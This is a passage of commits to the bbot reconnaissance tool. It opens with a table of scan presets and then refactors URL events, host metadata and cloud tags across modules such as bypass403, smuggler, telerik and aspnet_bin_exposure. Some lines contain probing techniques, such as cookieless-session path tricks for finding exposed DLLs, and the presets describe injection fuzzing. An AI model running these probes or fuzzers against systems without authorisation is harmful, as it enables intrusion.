httpx, telerik | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | +| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, ffuf, httpx, hunt, reflected_parameters | +| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | httpx, lightfuzz, portfilter | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | +| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | httpx, hunt, reflected_parameters | +| spider | | Recursive web spider | 1 | httpx | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | +| web | | Quick web scan | 0 | | +| web-heavy | | Aggressive web scan | 0 | | +| web-screenshots | | Take screenshots of webpages | 0 | | From 48da8752e3ec2a97bdffe0f2b86700c4c90f443c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 16:51:47 -0400 Subject: [PATCH 360/912] Add host_metadata field, scope down BaseEvent __slots__ to subclasses --- bbot/core/event/base.py | 49 ++++++++++++++++++++++++++++++----------- bbot/models/pydantic.py | 1 + bbot/models/sql.py | 1 + 3 files changed, 38 insertions(+), 13 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 53ea0deebf..00297aa096 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -162,15 +162,8 @@ class BaseEvent: "dns_children", "raw_dns_records", "dns_resolve_distance", - # Web-related attributes - "web_spider_distance", - "parsed_url", - "url_extension", - "num_redirects", - # File-related attributes - "_data_path", - # Web parameter attributes - "envelopes", + # Host metadata (cloud providers, ASN, whois, etc.) + "_host_metadata", # Cross-module communication "source_domain", # Public attributes @@ -233,7 +226,6 @@ def __init__( self.dns_children = {} self.raw_dns_records = {} self._discovery_context = "" - self.web_spider_distance = 0 # for creating one-off events without enforcing parent requirement self._dummy = _dummy @@ -307,6 +299,18 @@ def data(self, data): self._port = None self._data = data + @property + def host_metadata(self): + try: + return self._host_metadata + except AttributeError: + self._host_metadata = {} + return self._host_metadata + + @host_metadata.setter + def host_metadata(self, value): + self._host_metadata = value + @property def internal(self): return self._internal @@ -885,6 +889,10 @@ def json(self, mode="json"): j["discovery_path"] = self.discovery_path j["parent_chain"] = self.parent_chain + # host metadata (cloud providers, ASN, etc.) + host_metadata = getattr(self, "host_metadata", None) + if host_metadata: + j["host_metadata"] = host_metadata # parameter envelopes parameter_envelopes = getattr(self, "envelopes", None) if parameter_envelopes is not None: @@ -1105,7 +1113,11 @@ def __init__(self, *args, **kwargs): raise ValueError(f"No host was found in event parents: {self.get_parents()}. Host must be specified!") -class DictPathEvent(DictEvent): +class DictPathEvent(DictHostEvent): + __slots__ = [ + "_data_path", + ] + def sanitize_data(self, data): data = super().sanitize_data(data) new_data = dict(data) @@ -1277,10 +1289,17 @@ class OPEN_UDP_PORT(OPEN_TCP_PORT): class URL_UNVERIFIED(BaseEvent): _status_code_regex = re.compile(r"^status-(\d{1,3})$") - __slots__ = ["_http_title"] + __slots__ = [ + "_http_title", + "web_spider_distance", + "parsed_url", + "url_extension", + "num_redirects", + ] def __init__(self, *args, **kwargs): self._http_title = "" + self.web_spider_distance = 0 super().__init__(*args, **kwargs) self.num_redirects = getattr(self.parent, "num_redirects", 0) @@ -1429,6 +1448,10 @@ class URL_HINT(URL_UNVERIFIED): class WEB_PARAMETER(DictHostEvent): + __slots__ = [ + "envelopes", + ] + @property def children(self): # if we have any subparams, raise a new WEB_PARAMETER for each one @@ -1709,7 +1732,7 @@ class SOCIAL(DictHostEvent): _scope_distance_increment_same_host = True -class WEBSCREENSHOT(DictPathEvent, DictHostEvent): +class WEBSCREENSHOT(DictPathEvent): _always_emit = True _quick_emit = True diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index ce401a19e6..8fa30097e3 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -92,6 +92,7 @@ class Event(BBOTBaseModel): parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] + host_metadata: Optional[dict] = None module: Annotated[Optional[str], "indexed"] = None module_sequence: Optional[str] = None discovery_context: str = "" diff --git a/bbot/models/sql.py b/bbot/models/sql.py index e8210ce338..d93634fcca 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -98,6 +98,7 @@ def get_data(self): inserted_at: float = Field(default_factory=utc_now_timestamp) parent: str = Field(index=True) tags: List = Field(default=[], sa_type=JSON) + host_metadata: dict = Field(default={}, sa_type=JSON) module: str = Field(index=True) module_sequence: str discovery_context: str = "" From 78bd65790d8807c45179cef6f9ca8d14da483b3d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 16:55:27 -0400 Subject: [PATCH 361/912] Make URL_UNVERIFIED inherit from DictHostEvent, data is now a dict --- bbot/core/event/base.py | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 00297aa096..e767a6fb49 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1286,13 +1286,12 @@ class OPEN_UDP_PORT(OPEN_TCP_PORT): pass -class URL_UNVERIFIED(BaseEvent): +class URL_UNVERIFIED(DictHostEvent): _status_code_regex = re.compile(r"^status-(\d{1,3})$") __slots__ = [ "_http_title", "web_spider_distance", - "parsed_url", "url_extension", "num_redirects", ] @@ -1303,12 +1302,18 @@ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.num_redirects = getattr(self.parent, "num_redirects", 0) + def _data_load(self, data): + # accept a bare URL string and wrap it into a dict + if isinstance(data, str): + return {"url": data} + return data + def _data_id(self): - data = super()._data_id() + url = self.url # remove the querystring for URL/URL_UNVERIFIED events, because we will conditionally add it back in (based on settings) if self.__class__.__name__.startswith("URL") and self.scan is not None: - prefix = data.split("?")[0] + prefix = url.split("?")[0] # consider spider-danger tag when deduping if "spider-danger" in self.tags: @@ -1324,11 +1329,13 @@ def _data_id(self): cleaned_query = "&".join( f"{key}={','.join(sorted(values))}" for key, values in sorted(query_dict.items()) ) - data = f"{prefix}:{self.parsed_url.scheme}:{self.parsed_url.netloc}:{self.parsed_url.path}:{cleaned_query}" - return data + url = f"{prefix}:{self.parsed_url.scheme}:{self.parsed_url.netloc}:{self.parsed_url.path}:{cleaned_query}" + return url def sanitize_data(self, data): - self.parsed_url = self.validators.validate_url_parsed(data) + url = data.get("url", "") + self.parsed_url = self.validators.validate_url_parsed(url) + data["url"] = self.parsed_url.geturl() # special handling of URL extensions if self.parsed_url is not None: @@ -1346,9 +1353,12 @@ def sanitize_data(self, data): else: self.add_tag("endpoint") - data = self.parsed_url.geturl() return data + @property + def pretty_string(self): + return self.url + def add_tag(self, tag): self_url = getattr(self, "parsed_url", "") self_host = getattr(self, "host", "") @@ -1420,12 +1430,8 @@ def __init__(self, *args, **kwargs): 'Must specify HTTP status tag for URL event, e.g. "status-200". Use URL_UNVERIFIED if the URL is unvisited.' ) - @property - def pretty_string(self): - return self.data - -class STORAGE_BUCKET(DictEvent, URL_UNVERIFIED): +class STORAGE_BUCKET(URL_UNVERIFIED): _always_emit = True _suppress_chain_dupes = True @@ -1526,7 +1532,7 @@ def _words(self): return extract_words(self.host_stem) -class HTTP_RESPONSE(URL_UNVERIFIED, DictEvent): +class HTTP_RESPONSE(URL_UNVERIFIED): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # count number of consecutive redirects From 5a75eb86c44dedc5aee12a00cec1a04019e2190b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:07:03 -0400 Subject: [PATCH 362/912] Migrate remaining modules from event.data to event.url for URL events --- bbot/modules/ajaxpro.py | 4 ++-- bbot/modules/aspnet_bin_exposure.py | 4 ++-- bbot/modules/bypass403.py | 12 ++++++------ bbot/modules/ffuf.py | 6 +++--- bbot/modules/filedownload.py | 4 ++-- bbot/modules/git.py | 2 +- bbot/modules/iis_shortnames.py | 6 +++--- bbot/modules/nuclei.py | 12 +++++------- bbot/modules/output/slack.py | 2 +- bbot/modules/output/web_report.py | 2 +- bbot/modules/paramminer_headers.py | 2 +- bbot/modules/retirejs.py | 4 ++-- bbot/modules/smuggler.py | 6 +++--- bbot/modules/telerik.py | 6 +++--- bbot/modules/templates/webhook.py | 2 +- bbot/modules/url_manipulation.py | 12 ++++++------ 16 files changed, 42 insertions(+), 44 deletions(-) diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index aeae3e812c..bdbebdab52 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -26,10 +26,10 @@ async def handle_event(self, event): async def check_url_event(self, event): for stem in ["ajax", "ajaxpro"]: - probe_url = f"{event.data}{stem}/whatever.ashx" + probe_url = f"{event.url}{stem}/whatever.ashx" probe = await self.helpers.request(probe_url) if probe and probe.status_code == 200: - confirm_url = f"{event.data}a/whatever.ashx" + confirm_url = f"{event.url}a/whatever.ashx" confirm_probe = await self.helpers.request(confirm_url) if confirm_probe and confirm_probe.status_code != 200: await self.emit_technology(event, probe_url) diff --git a/bbot/modules/aspnet_bin_exposure.py b/bbot/modules/aspnet_bin_exposure.py index 75e488a40c..0198179b0c 100644 --- a/bbot/modules/aspnet_bin_exposure.py +++ b/bbot/modules/aspnet_bin_exposure.py @@ -25,10 +25,10 @@ def normalize_url(url): return str(url.rstrip("/") + "/").lower() def _incoming_dedup_hash(self, event): - return hash(self.normalize_url(event.data)) + return hash(self.normalize_url(event.url)) async def handle_event(self, event): - normalized_url = self.normalize_url(event.data) + normalized_url = self.normalize_url(event.url) for test_dll in self.test_dlls: for technique in ["b/(S(X))in/###DLL_PLACEHOLDER###/(S(X))/", "(S(X))/b/(S(X))in/###DLL_PLACEHOLDER###"]: test_url = f"{normalized_url}{technique.replace('###DLL_PLACEHOLDER###', test_dll)}" diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index a840d554a4..65cae080b4 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -86,7 +86,7 @@ async def do_checks(self, compare_helper, event, collapse_threshold): for sig in signatures: if error_count > 3: - self.warning(f"Received too many errors for URL {event.data} aborting bypass403") + self.warning(f"Received too many errors for URL {event.url} aborting bypass403") return None sig = self.format_signature(sig, event) @@ -127,7 +127,7 @@ async def do_checks(self, compare_helper, event, collapse_threshold): async def handle_event(self, event): try: - compare_helper = self.helpers.http_compare(event.data, allow_redirects=True) + compare_helper = self.helpers.http_compare(event.url, allow_redirects=True) except HttpCompareError as e: self.debug(e) return @@ -142,13 +142,13 @@ async def handle_event(self, event): "name": "Possible 403 Bypass", "description": f"403 Bypass MULTIPLE SIGNATURES (exceeded threshold {str(collapse_threshold)})", "host": str(event.host), - "url": event.data, + "url": event.url, "severity": "INFO", "confidence": "LOW", }, "FINDING", parent=event, - context=f"{{module}} discovered multiple potential 403 bypasses ({{event.type}}) for {event.data}", + context=f"{{module}} discovered multiple potential 403 bypasses ({{event.type}}) for {event.url}", ) else: for description in results: @@ -157,13 +157,13 @@ async def handle_event(self, event): "name": "Possible 403 Bypass", "description": description, "host": str(event.host), - "url": event.data, + "url": event.url, "severity": "MEDIUM", "confidence": "LOW", }, "FINDING", parent=event, - context=f"{{module}} discovered potential 403 bypass ({{event.type}}) for {event.data}", + context=f"{{module}} discovered potential 403 bypass ({{event.type}}) for {event.url}", ) # When a WAF-check helper is available in the future, we will convert to HTTP_RESPONSE and check for the WAF string here. diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py index 7dbb703d83..6d7b57d5c6 100644 --- a/bbot/modules/ffuf.py +++ b/bbot/modules/ffuf.py @@ -69,7 +69,7 @@ async def handle_event(self, event): return else: # if we think its a directory, normalize it. - fixed_url = event.data.rstrip("/") + "/" + fixed_url = event.url.rstrip("/") + "/" exts = ["", "/"] if self.extensions: @@ -83,12 +83,12 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f"{{module}} brute-forced {event.data} and found {{event.type}}: {{event.data}}", + context=f"{{module}} brute-forced {event.url} and found {{event.type}}: {{event.data}}", ) async def filter_event(self, event): if "endpoint" in event.tags: - self.debug(f"rejecting URL [{event.data}] because we don't ffuf endpoints") + self.debug(f"rejecting URL [{event.url}] because we don't ffuf endpoints") return False return True diff --git a/bbot/modules/filedownload.py b/bbot/modules/filedownload.py index 127caf314b..adb50f7857 100644 --- a/bbot/modules/filedownload.py +++ b/bbot/modules/filedownload.py @@ -135,11 +135,11 @@ def hash_event(self, event): async def handle_event(self, event): if event.type == "URL_UNVERIFIED": - url_lower = event.data.lower() + url_lower = event.url.lower() extension_matches = any(url_lower.endswith(f".{e}") for e in self.extensions) filedownload_requested = "filedownload" in event.tags if extension_matches or filedownload_requested: - await self.download_file(event.data, source_event=event) + await self.download_file(event.url, source_event=event) elif event.type == "HTTP_RESPONSE": headers = event.data.get("header", {}) content_type = headers.get("content_type", "") diff --git a/bbot/modules/git.py b/bbot/modules/git.py index e715cf6d64..229adee35d 100644 --- a/bbot/modules/git.py +++ b/bbot/modules/git.py @@ -18,7 +18,7 @@ class git(BaseModule): fp_regex = re.compile(r" " + f"[{event.type}]:{html.escape(event.pretty_string)}" ) - self.web_assets[host]["URL"].append(f"**{html.escape(event.data)}**: {parent_chain_text}") + self.web_assets[host]["URL"].append(f"**{html.escape(event.pretty_string)}**: {parent_chain_text}") else: current_parent = event.parent diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index 612a3b4128..ae573abadf 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -196,7 +196,7 @@ async def handle_event(self, event): try: results = await self.do_mining(self.wl, url, batch_size, compare_helper) except HttpCompareError as e: - self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.data}]") + self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]") await self.process_results(event, results) async def count_test(self, url): diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index 7706dc6604..78fc72dfed 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -133,7 +133,7 @@ async def setup(self): return True async def handle_event(self, event): - js_file = await self.helpers.request(event.data) + js_file = await self.helpers.request(event.url) if js_file: js_file_body = js_file.text if js_file_body: @@ -168,7 +168,7 @@ async def handle_event(self, event): f"Vulnerable JavaScript library detected: {component} v{version}", f"Severity: {severity.upper()}", f"Summary: {summary}", - f"JavaScript URL: {event.data}", + f"JavaScript URL: {event.url}", ] if cves: description_parts.append(f"CVE(s): {', '.join(cves)}") diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py index 0096486470..5964a3bf99 100644 --- a/bbot/modules/smuggler.py +++ b/bbot/modules/smuggler.py @@ -31,7 +31,7 @@ async def handle_event(self, event): "--no-color", "-q", "-u", - event.data, + event.url, ] async for line in self.run_process_live(command): for f in line.split("\r"): @@ -42,7 +42,7 @@ async def handle_event(self, event): await self.emit_event( { "host": str(event.host), - "url": event.data, + "url": event.url, "description": description, "name": "Possible HTTP Smuggling", "severity": "MEDIUM", @@ -50,5 +50,5 @@ async def handle_event(self, event): }, "FINDING", parent=event, - context=f"{{module}} scanned {event.data} and found HTTP smuggling ({{event.type}}): {text}", + context=f"{{module}} scanned {event.url} and found HTTP smuggling ({{event.type}}): {text}", ) diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index bee0ebebb3..493117fc7d 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -186,7 +186,7 @@ def normalize_url(url): def _incoming_dedup_hash(self, event): if event.type == "URL": if self.config.get("include_subdirs") is True: - return hash(f"{event.type}{self.normalize_url(event.data)}") + return hash(f"{event.type}{self.normalize_url(event.url)}") else: return hash(f"{event.type}{event.netloc}") else: # HTTP_RESPONSE @@ -195,7 +195,7 @@ def _incoming_dedup_hash(self, event): async def handle_event(self, event): if event.type == "URL": if self.config.get("include_subdirs"): - base_url = self.normalize_url(event.data) # Use the entire URL including subdirectories + base_url = self.normalize_url(event.url) # Use the entire URL including subdirectories else: base_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" # path will be omitted @@ -226,7 +226,7 @@ async def handle_event(self, event): verbose_errors = False # send probe probe_response = await self.helpers.request( - f"{event.data}{webresource}", method="POST", files=probe_data + f"{event.url}{webresource}", method="POST", files=probe_data ) if probe_response: diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index 1452e561cd..9b71272be9 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -61,7 +61,7 @@ async def filter_event(self, event): def format_message_str(self, event): event_tags = ",".join(event.tags) - return f"`[{event.type}]`\t**`{event.data}`**\ttags:{event_tags}" + return f"`[{event.type}]`\t**`{event.pretty_string}`**\ttags:{event_tags}" def format_message_other(self, event): event_yaml = yaml.dump(event.data) diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index 1bb83eef16..d9b7db466c 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -45,17 +45,17 @@ async def setup(self): async def handle_event(self, event): try: compare_helper = self.helpers.http_compare( - event.data, allow_redirects=self.allow_redirects, include_cache_buster=False + event.url, allow_redirects=self.allow_redirects, include_cache_buster=False ) except HttpCompareError as e: self.debug(e) return try: - if not await compare_helper.canary_check(event.data, mode="getparam"): + if not await compare_helper.canary_check(event.url, mode="getparam"): raise HttpCompareError() except HttpCompareError: - self.verbose(f'Aborting "{event.data}" due to failed canary check') + self.verbose(f'Aborting "{event.url}" due to failed canary check') return for sig in self.signatures: @@ -65,7 +65,7 @@ async def handle_event(self, event): sig[1], method=sig[0], allow_redirects=self.allow_redirects ) except HttpCompareError as e: - self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.data}]") + self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]") if subject_response: subject_content = "".join([str(x) for x in subject_response.headers]) @@ -82,14 +82,14 @@ async def handle_event(self, event): { "description": description, "host": str(event.host), - "url": event.data, + "url": event.url, "name": "URL Manipulation", "severity": "INFO", "confidence": "LOW", }, "FINDING", parent=event, - context=f"{{module}} probed {event.data} and identified {{event.type}}: {description}", + context=f"{{module}} probed {event.url} and identified {{event.type}}: {description}", ) else: self.debug(f"Status code changed to {str(subject_response.status_code)}, ignoring") From f561bda1e7f9970444dfb041a07f64014dbb0f9b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:11:40 -0400 Subject: [PATCH 363/912] Migrate cloudcheck to host_metadata, simplify cloud tags --- bbot/modules/baddns_direct.py | 2 +- bbot/modules/bucket_file_enum.py | 3 +-- bbot/modules/internal/cloudcheck.py | 31 ++++++++++++++---------- bbot/modules/output/asset_inventory.py | 7 +++--- bbot/modules/portfilter.py | 9 +++---- bbot/modules/templates/subdomain_enum.py | 2 +- 6 files changed, 29 insertions(+), 25 deletions(-) diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index a3a63ce383..25582e33b6 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -76,7 +76,7 @@ async def filter_event(self, event): f"Rejecting {event.host} due to not being in scope (scope distance: {event.scope_distance})" ) return False - if "cdn-cloudflare" not in event.tags: + if not ("cloudflare" in event.tags and "cdn" in event.tags): self.debug(f"Rejecting {event.host} due to not being behind CloudFlare") return False if "status-200" in event.tags or "status-301" in event.tags: diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py index 6a02b5d08e..777d49d2f4 100644 --- a/bbot/modules/bucket_file_enum.py +++ b/bbot/modules/bucket_file_enum.py @@ -28,8 +28,7 @@ async def setup(self): return True async def handle_event(self, event): - cloud_tags = (t for t in event.tags if t.startswith("cloud-")) - if any(t.endswith("-amazon") or t.endswith("-digitalocean") for t in cloud_tags): + if "amazon" in event.tags or "digitalocean" in event.tags: await self.handle_aws(event) async def handle_aws(self, event): diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py index e2fca8536f..4e6f1f73d7 100644 --- a/bbot/modules/internal/cloudcheck.py +++ b/bbot/modules/internal/cloudcheck.py @@ -44,19 +44,24 @@ async def handle_event(self, event, **kwargs): continue for provider in cloudcheck_results: provider_name = provider["name"].lower() - tags = provider.get("tags", []) - for tag in tags: - event.add_tag(tag) - event.add_tag(f"{tag}-{provider_name}") - if host_is_ip: - event.add_tag(f"{provider_name}-ip") - else: - # if the original hostname is a cloud domain, tag it as such - if i == 0: - event.add_tag(f"{provider_name}-domain") - # any children are tagged as CNAMEs - else: - event.add_tag(f"{provider_name}-cname") + provider_types = provider.get("tags", []) + for provider_type in provider_types: + event.add_tag(provider_type) + event.add_tag(provider_name) + # determine how the match was triggered + if host_is_ip: + match_type = "ip" + elif i == 0: + match_type = "domain" + else: + match_type = "cname" + # structured details in host_metadata + host_meta = event.host_metadata.setdefault(host, {}) + cloud_providers = host_meta.setdefault("cloud_providers", {}) + cloud_providers[provider_name] = { + "types": sorted(set(provider_types)), + "match": match_type, + } # we only generate storage buckets off of in-scope or distance-1 events if event.scope_distance >= self.max_scope_distance: diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 1ac78bc788..11da0a7822 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -335,9 +335,10 @@ def absorb_event(self, event): if update_http_status or not self.http_title: self.http_title = title - for tag in event.tags: - if tag.startswith("cdn-") or tag.startswith("cloud-"): - self.provider = tag + for host_meta in event.host_metadata.values(): + providers = host_meta.get("cloud_providers", {}) + if providers: + self.provider = ", ".join(providers.keys()) break @property diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 85cd2f83ea..21b0313194 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -10,11 +10,11 @@ class portfilter(BaseInterceptModule): "author": "@TheTechromancer", } options = { - "cdn_tags": "cdn-,waf-", + "cdn_tags": "cdn,waf", "allowed_cdn_ports": "80,443", } options_desc = { - "cdn_tags": "Comma-separated list of tags to skip, e.g. 'cdn,cloud'", + "cdn_tags": "Comma-separated list of tags to skip, e.g. 'cdn,waf'", "allowed_cdn_ports": "Comma-separated list of ports that are allowed to be scanned for CDNs", } @@ -36,10 +36,9 @@ async def handle_event(self, event, **kwargs): # if the port isn't in our list of allowed CDN ports if event.port not in self.allowed_cdn_ports: for cdn_tag in self.cdn_tags: - # and if any of the event's tags match our CDN filter - if any(t.startswith(str(cdn_tag)) for t in event.tags): + if cdn_tag in event.tags: return ( False, - f"one of the event's tags matches the tag '{cdn_tag}' and the port is not in the allowed list", + f"event has tag '{cdn_tag}' and the port is not in the allowed list", ) return True diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 3360978699..36077f249e 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -166,7 +166,7 @@ async def filter_event(self, event): is_wildcard = await self._is_wildcard(query) # check if cloud is_cloud = False - if any(t.startswith("cloud-") for t in event.tags): + if "cloud" in event.tags: is_cloud = True # reject if it's a cloud resource and not in our target (unless it's a seed event) if is_cloud and not self.scan.in_target(event) and "seed" not in event.tags: From c0e67590c5d3abbdf51e4af81e009a0588e84709 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:13:10 -0400 Subject: [PATCH 364/912] Fix baddns_direct: check for cloudflare tag directly --- bbot/modules/baddns_direct.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 25582e33b6..f4093fa8cc 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -76,8 +76,8 @@ async def filter_event(self, event): f"Rejecting {event.host} due to not being in scope (scope distance: {event.scope_distance})" ) return False - if not ("cloudflare" in event.tags and "cdn" in event.tags): - self.debug(f"Rejecting {event.host} due to not being behind CloudFlare") + if "cloudflare" not in event.tags: + self.debug(f"Rejecting {event.host} due to not being behind Cloudflare") return False if "status-200" in event.tags or "status-301" in event.tags: self.debug(f"Rejecting {event.host} due to lack of non-standard status code") From 42b3caeb38f2abc6dbf7f79b220e9eec9ea856d9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 17:20:46 -0400 Subject: [PATCH 365/912] Update context strings and test assertions for URL dict data --- bbot/modules/azure_tenant.py | 2 +- bbot/modules/baddns.py | 2 +- bbot/modules/base.py | 2 +- bbot/modules/bevigil.py | 4 +-- bbot/modules/bucket_file_enum.py | 2 +- bbot/modules/builtwith.py | 4 +-- bbot/modules/censys_ip.py | 4 +-- bbot/modules/credshed.py | 9 ++++--- bbot/modules/dehashed.py | 8 +++--- bbot/modules/dnsbrute.py | 4 +-- bbot/modules/dnsbrute_mutations.py | 2 +- bbot/modules/dnscommonsrv.py | 2 +- bbot/modules/dockerhub.py | 2 +- bbot/modules/emailformat.py | 2 +- bbot/modules/ffuf.py | 2 +- bbot/modules/ffuf_shortnames.py | 16 ++++++------ bbot/modules/github_usersearch.py | 2 +- bbot/modules/httpx.py | 2 +- bbot/modules/hunterio.py | 6 ++--- bbot/modules/internal/dnsresolve.py | 4 ++- bbot/modules/internal/speculate.py | 20 ++++++++------- bbot/modules/ip2location.py | 4 +-- bbot/modules/ipneighbor.py | 2 +- bbot/modules/ipstack.py | 6 ++--- bbot/modules/oauth.py | 4 +-- bbot/modules/output/asset_inventory.py | 10 +++++--- bbot/modules/output/emails.py | 2 +- bbot/modules/output/neo4j.py | 2 +- bbot/modules/output/subdomains.py | 2 +- bbot/modules/pgp.py | 2 +- bbot/modules/portscan.py | 2 +- bbot/modules/report/asn.py | 2 +- bbot/modules/robots.py | 2 +- bbot/modules/shodan_idb.py | 10 ++++---- bbot/modules/sitedossier.py | 2 +- bbot/modules/skymem.py | 2 +- bbot/modules/sslcert.py | 4 +-- bbot/modules/subdomainradar.py | 2 +- bbot/modules/templates/bucket.py | 2 +- bbot/modules/templates/subdomain_enum.py | 4 +-- bbot/modules/urlscan.py | 6 ++--- bbot/modules/viewdns.py | 2 +- bbot/modules/wayback.py | 2 +- bbot/test/test_step_1/test_events.py | 32 ++++++++++++------------ docs/scanning/advanced.md | 2 +- 45 files changed, 109 insertions(+), 102 deletions(-) diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index f5183ad0f5..f1f045ff6d 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -433,7 +433,7 @@ async def emit_discovered_domains(self, event, tenant_data, query): "DNS_NAME", parent=event, tags=["affiliate", "azure-tenant"], - context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def emit_findings(self, event, domain, tenant_data): diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 51ef795b63..ace72c9c68 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -209,6 +209,6 @@ async def handle_event(self, event): "DNS_NAME", event, tags=[f"baddns-{module_instance.name.lower()}"], - context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {{event.data}}', + context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {{event.pretty_string}}', ) await module_instance.cleanup() diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 